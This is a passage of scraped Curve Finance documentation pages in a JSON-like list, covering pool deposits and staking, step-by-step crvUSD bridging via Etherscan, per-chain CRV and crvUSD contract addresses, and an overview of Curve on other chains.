Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into a tricrypto-pool Tricrypto pools contain three volatile assets. Learn more about v2 pools For instance, the TriCRV pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/factory-tricrypto-4/deposit ). You will need at least one of the three tokens in the pool to deposit. The TriCRV pool consists of CRV, crvUSD, and ETH. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into the tri-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-the-tri-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into the tri-pool Table of contents Depositing into the pool Confirming and staking Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into the tri-pool The Tri-Pool is a classic Curve pool and improved upon earlier offerings in many ways. Here are some of the major improvements this pool: A new rampable A parameter (like on BTC pools) which can adjust liquidity density without causing losses to the virtual price (and to LPs) Gas optimised Will be used as a base pool for meta pools (which would essentially allow some pools to seemingly trade against underlying base pools without diluting liquidity) By only having the three most liquid stable coins in crypto, this pool should grow to become the most liquid and offer the best prices This pool is expected to become the most liquid and the cheapest to interact with making it a good place to start for newcomers wanting to try Curve with small amounts of capital. Because this pool is likely to offer the best prices, it will also likely be one of the Curve pools getting the most volume. See how to deposit and stake into the 3Pool: https://www.youtube.com/watch?v=OsRrGij9Ou8 Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/3pool/deposit ). You will need one or multiple stable coins to deposit. The Tri-Pool takes DAI, USDC and USDT. First, it's important to understand that you don't have to deposit all coins, you can deposit one or several of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small deposit bonus. Second, once you deposit one stable coin, it gets split over the three different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit all three coins in the same proportion they currently are in the pool, resulting in no slippage occurrence. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will wrap your stable coins and deposit them into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://resources.curve.fi/lp/depositing/depositing/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Overview Table of contents Before depositing... Choosing the right pool Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Before depositing... Choosing the right pool Home Pools Depositing Overview Before depositing... Before depositing into a Curve pool, it is highly recommended to familiarise yourself with how Curve works, how it makes money and its basic mechanisms. You can do so by visiting the page below: Understanding Curve v1 Understanding Curve v2 Choosing the right pool Curve has many pools to choose from currently accepting stable coins and tokenised Bitcoin (Bitcoin on Ethereum). If you are not sure which pool is right for you, click the link below: Understanding Curve Pools Back to top", "labels": ["Documentation"]}, {"title": "User Guide: Bridging crvUSD", "html_url": "https://resources.curve.fi/multichain/bridging-crvusd-to-bsc/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC How to Bridge crvUSD to BSC Table of contents Overview Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote ETH Amount Step 3: Bridge crvUSD to BSC Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote BNB Amount Step 3: Bridge crvUSD to Ethereum Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Overview Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote ETH Amount Step 3: Bridge crvUSD to BSC Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Step 2: Read Contract and Quote BNB Amount Step 3: Bridge crvUSD to Ethereum Home Multi-Chain User Guide: Bridging crvUSD Overview This guide explains how to bridge crvUSD tokens from the Ethereum Mainnet to the Binance Smart Chain (BSC) or vice versa , utilizing LayerZero infrastructure. Requirements include having a wallet with crvUSD tokens and either ETH or BNB, depending on the bridging direction, to cover transaction fees. Disclaimer This guide is only applicable for bridging crvUSD to BSC or vice versa. Using the contracts below will only allow the bridging of crvUSD. Attempting to use other tokens will cause the transaction to revert . Contract Addresses Both bridge contracts, on Ethereum and Binance Smart Chain, have the same contract addres. Bridge Contract Address Ethereum 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f Binance Smart Chain 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f The crvUSD contract address differs depending on the chain. crvUSD Contract Address Ethereum 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E Binance Smart Chain 0xe2fb3F127f5450DeE44afe054385d74C392BdeF4 Bridging crvUSD from Ethereum to Binance Smart Chain Step 1: Approve the Bridge Contract Navigate to the crvUSD token contract on Etherscan: 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Locate the method 3. approve and approve the bridge contract as a spender. _spender : Enter 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f , the bridge contract address. _value : Specify the amount in 1e18 format (for example, for 100 crvUSD, enter 100000000000000000000 ). Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. Click Write and complete the transaction. Step 2: Read Contract and Quote ETH Amount Visit the bridge contract on Etherscan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#readContract . Use function 1. quote to determine the destination chain fees. The quote amount represents the cost (in ETH) of calling the bridge method in Step 3 . This does not include gas costs, which need to be paid additionally. Step 3: Bridge crvUSD to BSC Access the bridge contract on Etherscan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#writeContract . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Navigate to method 2. bridge and input your values: bridge : Enter the ETH amount quoted in Step 2 . Ensure you enter the amount denominated in Ether (quoted amount / 1e18). _amount : Specify the amount of crvUSD in 1e18 format. Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. _receiver : Enter your BSC wallet address. Click Write and complete the transaction. After completing these steps, it may take a few minutes for your crvUSD tokens to be successfully bridged to the Binance Smart Chain. Bridging crvUSD from Binance Smart Chain to Ethereum Step 1: Approve the Bridge Contract Navigate to the crvUSD token contract on BSCScan: 0xe2fb3F127f5450DeE44afe054385d74C392BdeF4 . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Locate the method 3. approve and approve the bridge contract as a spender. _spender : Enter 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f , the bridge contract address. _value : Specify the amount in 1e18 format (for example, for 100 crvUSD, enter 100000000000000000000 ). Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. Click Write and complete the transaction. Step 2: Read Contract and Quote BNB Amount Visit the bridge contract on BSCScan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#readContract . Use function 1. quote to determine the destination chain fees. The quote amount represents the cost (in BNB) of calling the bridge method in Step 3 . This does not include gas costs, which need to be paid additionally. Step 3: Bridge crvUSD to Ethereum Access the bridge contract on BSCScan: 0x0A92Fd5271dB1C41564BD01ef6b1a75fC1db4d4f#writeContract . Connect your wallet by selecting Contract > Write Contract > Connect to Web3 . Navigate to method 2. bridge and input your values: bridge : Enter the ETH amount quoted in Step 2 . Ensure you enter the amount denominated in Ether (quoted amount / 1e18). _amount : Specify the amount of crvUSD in 1e18 format. Alternatively, to avoid manually entering the amount in 1e18 format, you can input the amount of crvUSD you wish to bridge and then append 18 zeros by using the + button. _receiver : Enter your Ethereum wallet address. Click Write and complete the transaction. After completing these steps, it may take a few minutes for your crvUSD tokens to be successfully bridged to Ethereum. Back to top", "labels": ["Documentation"]}, {"title": "Bridging funds", "html_url": "https://resources.curve.fi/multichain/bridging-funds/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Bridging funds In order to use Curve on chains other than Ethereum, you will need to bridge funds to the sidechain. Curve operates on several chains, documented here: Understanding Multichain Bridges are not operated by Curve, so Curve cannot offer support for using bridges. The following issues may affect users of bridges, so make sure to do research and exercise caution. Liquidity issues: Sometimes bridges do not have enough liquidity to process transactions. Usually the bridge will wait to refill liquidity before it permits funds getting processed. Stuck funds: Occasionally funds will get moved off one chain, but fail to appear on the new chain in a timely manner. Sometimes this gets resolved by simply waiting. In extreme cases, you should contact the support channels for the bridge in question. Hacking: Cross-chain communication can be complex, and the bridge is Back to top", "labels": ["Documentation"]}, {"title": "Multi-Chain: Curve DAO Token", "html_url": "https://resources.curve.fi/multichain/crv/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Multi-Chain: Curve DAO Token The Curve token can be bridged across various chains, though it does not always retain full functionality. Locking CRV to obtain veCRV, as well as rewards voting for cross-chain gauges, must be conducted on the Ethereum blockchain. MULTICHAIN WARNING Multichain statement: https://twitter.com/MultichainOrg/status/1677180114227056641 The Multichain service is currently halted, and all bridge transactions are suspended on their source chains. There is no confirmed time for service resumption. Please refrain from using the Multichain bridging service at this time. Network Contract Address Bridge Arbitrum 0x11cDb42B0EB46D95f990BeDD4695A6e3fA034978 Arbitrum Bridge Base 0x8Ee73c484A26e0A5df2Ee2a4960B789967dd0415 Base Bridge Optimism 0x0994206dfE8De6Ec6920FF4D779B0d950605Fb53 Optimism Bridge polygon-matic Polygon 0x172370d5Cd63279eFa6d502DAB29171933a610AF Polygon Bridge Gnosis 0x712b3d230F3C1c19db860d80619288b1F0BDd0Bd Gnosis Bridge X-Layer 0x3d5320821bfca19fb0b5428f2c79d63bd5246f89 X-Layer Bridge Avalanche 0x47536F17F4fF30e64A96a7555826b8f9e66ec468 Multichain Fantom circle@2x Fantom 0x1E4F97b9f9F913c46F1632781732927B9019C68b Multichain Celo 0x173fd7434B8B50dF08e3298f173487ebDB35FD14 Multichain Back to top", "labels": ["Documentation"]}, {"title": "Multi-Chain: Curve Stablecoin (crvUSD)", "html_url": "https://resources.curve.fi/multichain/crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Multi-Chain Multi-Chain: Curve Stablecoin (crvUSD) crvUSD was first introduced in May 2023 on the Ethereum blockchain. As of [specific date or period], this stablecoin can be minted exclusively on the Ethereum mainnet. Understanding crvUSD Despite being launched on Ethereum, crvUSD can be bridged to various chains: Chain crvUSD Token Address Official Bridge Ethereum 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E --- Arbitrum 0x498Bf2B1e120FeD3ad3D42EA2165E9b73f99C1e5 Arbitrum Bridge Optimism 0xc52d7f23a2e460248db6ee192cb23dd12bddcbf6 Optimism Bridge Base 0x417Ac0e078398C154EdFadD9Ef675d30Be60Af93 Base Bridge Gnosis 0xaBEf652195F98A91E490f047A5006B71c85f058d Gnosis Bridge polygon-matic Polygon 0xc4Ce1D6F5D98D65eE25Cf85e9F2E9DcFEe6Cb5d6 Polygon Bridge X-Layer 0xda8f4eb4503acf5dec5420523637bb5b33a846f6 X-Layer Bridge Back to top", "labels": ["Documentation"]}, {"title": "Understanding multi-chain", "html_url": "https://resources.curve.fi/multichain/understanding-multichain/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Understanding multi-chain Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Connecting your Wallet Curve Forks Avalanche Arbitrum Binance Smart Chain Fantom Harmony Optimism Polygon xDai/Gnosis Home Multi-Chain Understanding multi-chain Curve exists across several chains, with several more planned. Curve's primary chain will always be Ethereum, but other sidechains have advantages including speed and cost. In order to use Curve on other chains, you must typically send your funds from Ethereum to the sidechain using the chain's bridge. All of Curve's active chains can be found in the \"Networks\" menu on the Curve homepage. Supported Sidechains as of 11/14/2022 Connecting your Wallet When you move to new chains, you will need to connect your wallet with the chain's RPC and chain ID. Generally Curve sidechain pages have a button you can press to automatically switch networks and populate this information for you. A common issue with sidechains is RPC networks that are temporarily or permanently unavailable. If you are having trouble connecting with RPC networks you may need to visit the chain's support networks to find a new RPC network. Curve Forks Tip For Bridges and CRV contract addresses on other chains please see Important Bridges . Curve forks include the following: Avalanche Avalanche is a sidechain that bills itself as \"blazingly fast, low-cost and eco-friendly.\" Curve's Avalanche site is hosted at https://avax.curve.fi/ Arbitrum Arbitrum is an Optimistic Ethereum L2. Arbitrum validators optimistically assume nodes will be operating in good faith, which allows for faster transactions. However, to retroactively allow opportunity to challenge malicious behavior, settlement time can be slower. In some cases this could mean it takes up to one week to bridge funds off-chain, so plan accordingly. Curve on Arbitrum: https://curve.fi/#/arbitrum/pools Binance Smart Chain Curve does not operate on Binance Smart Chain. The team at Ellipsis ( https://ellipsis.finance/ ) launched a fork of Curve that provides similar functionality. The Curve team authorized this fork, but does not actively maintain this fund. Fantom Fantom is a high-performance, scalable, and secure smart contract platform designed to overcome the limitations of traditional blockchain networks by utilizing a DAG-based consensus algorithm. Curve on Fantom: https://curve.fi/#/fantom/pools Harmony Harmony is a proof-of-stake sidechain promising two seconds of transaction speed and a hundred times lower gas fee. Curve's Harmony offerings are at https://harmony.curve.fi/ . Optimism Optimism is verified by a series of smart contracts on the Ethereum mainnet and thus not considered a real sidechain. Curve's Optimism branch is located at https://curve.fi/#/optimism/pools Polygon Polygon (previously known as Matic Network) is a multi-chain scaling solution for Ethereum that aims to provide faster and cheaper transactions using Layer 2 sidechains. Curve on Polygon: https://curve.fi/#/polygon/pools xDai/Gnosis The xDai chain is a stable payments EVM (Ethereum Virtual Machine) blockchain designed for fast and inexpensive transactions. Curve on xDai/Gnosis: https://curve.fi/#/xdai/pools Back to top", "labels": ["Documentation"]}, {"title": "Boosting your CRV rewards", "html_url": "https://resources.curve.fi/reward-gauges/boosting-your-crv-rewards/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Boosting your CRV rewards Table of contents Figuring out the required boost Locking CRV Applying the boost Boost Info Formula Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Figuring out the required boost Locking CRV Applying the boost Boost Info Formula Home Reward Gauges Boosting your CRV rewards This guide assumes the reader has already provided liquidity and is currently staking LP tokens on the DAO gauge. One of the main incentives for CRV is the ability to boost rewards on provided liquidity. Vote locking CRV enables the acquisition of voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity provided on Curve. Boosting your CRV rewards Figuring out the required boost The first step to getting rewards boosted is to determine the amount of CRV needed for lock. Each gauge has different requirements, meaning some pools are easier to boost than others. This depends on the amount others have locked and the liquidity gauge's capacity. The calculator can be found at this address: https://dao.curve.fi/minter/calc Locking CRV After determining how much and for how long to lock, visit the following page: https://dao.curve.fi/locker Enter the amount to lock and select the expiry. Remember, locking is not reversible. The amount of veCRV received will 